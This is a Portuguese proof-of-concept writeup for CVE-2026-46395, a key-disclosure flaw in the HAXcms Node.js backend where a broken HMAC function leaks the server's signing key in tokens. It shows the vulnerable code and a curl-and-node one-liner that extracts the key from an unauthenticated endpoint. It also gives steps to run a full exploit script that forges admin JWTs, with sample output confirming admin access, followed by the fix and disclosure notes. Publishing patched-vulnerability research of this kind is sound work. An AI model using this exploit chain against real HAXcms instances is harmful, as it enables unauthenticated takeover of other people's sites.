
PoC e writeup para CVE-2026-46395: divulgação não autenticada de chave privada via HMAC quebrado no HAXcms Node.js (CWE-321/CWE-200). Apenas pesquisa de segurança autorizada.
Prova de conceito apenas para testes de segurança autorizados e pesquisa. A vulnerabilidade descrita aqui está corrigida na versão mais recente do HAXcms. Este PoC é publicado para que defensores e pesquisadores possam verificar o problema em instâncias não corrigidas que possuem ou estão explicitamente autorizados a testar.
| CVE | CVE-2026-46395 |
| Componente | backend do HAXcms Node.js - haxcms-nodejs/src/lib/HAXCMS.js |
| Vulnerabilidade | Chave criptográfica embutida no código + divulgação de chave privada (CWE-321, CWE-200) |
| Severidade | Crítica - CVSS 3.1 9.8 |
| Ataque | Não autenticado, única requisição HTTP, sem interação do usuário |
| Status | Corrigido upstream. Afeta versões anteriores ao patch. |
| Projeto | elmsln/HAXcms |
| Relator | Shreyas Challa ([email protected]) |
hmacBase64() no backend Node.js do HAXcms (src/lib/HAXCMS.js:2158-2163)
contém dois erros criptográficos que, juntos, permitem que qualquer atacante
não autenticado recupere o segredo de assinatura mestre do servidor
(privateKey + salt) e forje JWTs de nível administrativo.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" é usado como chave
de assinatura em vez de key, então o HMAC não fornece sigilo.key real (privateKey + salt do
sistema) é concatenada ao digest e codificada em base64 no token retornado.Portanto, cada token tem a estrutura:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
Um atacante decodifica base64 de qualquer token, descarta os primeiros 32
bytes e lê a chave privada diretamente. O endpoint
/system/api/connectionSettings está na lista de ignorados do JWT
(src/app.js) e retorna vários desses tokens sem autenticação,
então uma única requisição GET expõe a chave.
O backend PHP (
HAXCMS.php:1619-1631) implementa isso corretamente (chaveado com a chave real, retorna apenas o digest → tokens de 44 caracteres). A versão Node.js quebrada emite tokens de 139+ caracteres - um sinal visível de que dados extras estão embutidos.
Uma única requisição não autenticada resulta em comprometimento total:
GET /system/api/connectionSettings,
decodificar base64 de qualquer token, descartar os primeiros 32 bytes.jwt.sign(payload, privateKey+salt).user_token, form_token, etc.Isso funciona mesmo depois que o admin define uma senha forte, e tokens forjados não produzem eventos de login nos logs.
poc_hmac_key_leak.js executa toda a cadeia de ponta a ponta contra uma
instância em execução e imprime cada etapa detalhadamente: buscar tokens →
extrair chave → verificar chave → forjar JWT → forjar tokens de requisição →
chamar um endpoint autenticado → criar um site para provar acesso de escrita.
Monte uma instância de teste local:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
Se jsonwebtoken não estiver instalado, o PoC ainda extrai e verifica a chave
e simplesmente pula as etapas de forjamento de JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
Substitua a função quebrada por um HMAC chaveado correto que retorna apenas o digest:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Após a correção:
privateKey e salt em cada instância implantada - qualquer
token emitido anteriormente contém a chave antiga em texto simples (em
respostas HTTP, logs e histórico do navegador).Atualize para a versão mais recente do HAXcms, que contém a correção upstream.
Este problema foi relatado aos mantenedores do HAXcms e corrigido antes da publicação. O PoC é lançado somente após um patch estar disponível. Use-o exclusivamente contra sistemas que você possui ou está explicitamente autorizado a testar.
Este material é fornecido para pesquisa defensiva, educação e testes de
segurança autorizados. Executá-lo contra sistemas sem permissão explícita pode
ser ilegal. Você é o único responsável por cumprir todas as leis aplicáveis e
por obter autorização antes de testar. Fornecido "como está" sem garantia (veja
LICENSE).